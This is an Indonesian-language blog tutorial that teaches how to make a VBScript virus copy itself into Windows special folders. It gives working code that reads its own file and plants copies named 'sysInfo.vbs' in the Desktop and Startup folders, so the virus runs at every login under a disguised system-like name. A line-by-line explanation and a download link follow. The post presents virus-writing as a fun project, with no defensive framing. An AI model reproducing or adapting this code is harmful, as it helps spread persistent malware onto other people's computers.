MENGKOPIKAN DIRI KE FOLDER – FOLDER TERTENTU

Setelah virus sukses mengkopikan diri ke folder windows,system32 dan folder temp, nggak asyik rasanya kalau virus nggak mengkopikan diri ke folder – folder tertentu seperti folder desktop, startup, font atau yang lainnya. Kodenya sama seperti kopi ke folder windows hanya saja Variabel penghendelan CreateObject(“Scripting.FileSystemObject”) diganti dengan variabel CreateObject(“Wscript.Shell”)

Vbs mengenal perintah SpecialFolder sebagai berikut:

-1.AllUserDesktop

-2.AllUserStartMenu

-3.AllUserProgram

-4.AllUserStartup

-5.Desktop

-6.Favorites

-7.Fonts

-8.MyDocuments

-9.NetHood

-10.PrintHood

-11.Programs

-12.Recent

-13.SendTo

-14.StartMenu

-15.Startup

-16.Templates

Berikut kodenya:

on error resume next

dim dendrif,deo,alamatku

set dendrif=CreateObject("Scripting.FileSystemObject")

set deo =CreateObject("Wscript.Shell")

set vs=dendrif.OpenTextFile(Wscript.ScriptFullName)

c1vs=vs.ReadAll

vs.close

alamatku=deo.SpecialFolders("desktop")

alamatku1=deo.SpecialFolders("startup")

set c2vs=dendrif.GetFile(Wscript.ScriptFullName)

c2vs.Copy (alamatku & "\sysInfo.vbs")

c2vs.Copy (alamatku1 & "\sysInfo.vbs")

msgbox"virus telah berhasil di kopi ke folder desktop dan startup",vbinformation,"Tes virus..."

simpan script dengan nama folders.vbs, kemudian jalankan....

penjelasan script

on error resume next = bila terjadi kesalahan lanjutkan ke perintah selanjutnya

dim dendrif,deo,alamatku = deklarasi untuk string dendrif,deo dan alamatku

set dendrif=CreateObject("Scripting.FileSystemObject") ==> menset dendrif sebagai  penghendelan file objek untuk pembuatan file atau hal lainnya yang dibutuhkan vbs ,saya juga kurang paham arti khususnya

set deo =CreateObject("Wscript.Shell") = menset deo sebagai penghendel informasi yang dibutuhkan vbs

set vs=dendrif.OpenTextFile(Wscript.ScriptFullName) ==> menset vs untuk penghendelan membuka virusnya sendiri (Wscript.ScriptFullName)

c1vs=vs.ReadAll  == >variable c1vs digunakan untuk pembacaan virus secara keseluruhan

vs.close  ==> pembacaan virus selesai dan di tutup

alamatku=deo.SpecialFolders("desktop") ==> pengambilan folder desktop

alamatku1=deo.SpecialFolders("startup")==> pengambilan folder startup

set c2vs=dendrif.GetFile(Wscript.ScriptFullName) = pengambilan informasi virus

c2vs.Copy (alamatku & "\sysInfo.vbs") ==> pengkopian ke folder desktop dengan nama virus sysinfo.vbs

c2vs.Copy (alamatku1 & "\sysInfo.vbs") ==> pengkopian ke folder startup dengan nama virus sysinfo .vbs

msgbox"virus telah berhasil di kopi ke folder desktop dan startup",vbinformation,"Tes virus..." ==> menampilkan pesan kalau pengkopian ke folder yang dimaksud berhasil.

Berikut screeshotnya:

pengkopian ke folder desktop

pengkopian ke folder startup

download script
password = www.dendrif-deo.co.cc[specialfolder]
semoga bermanfaat......... :D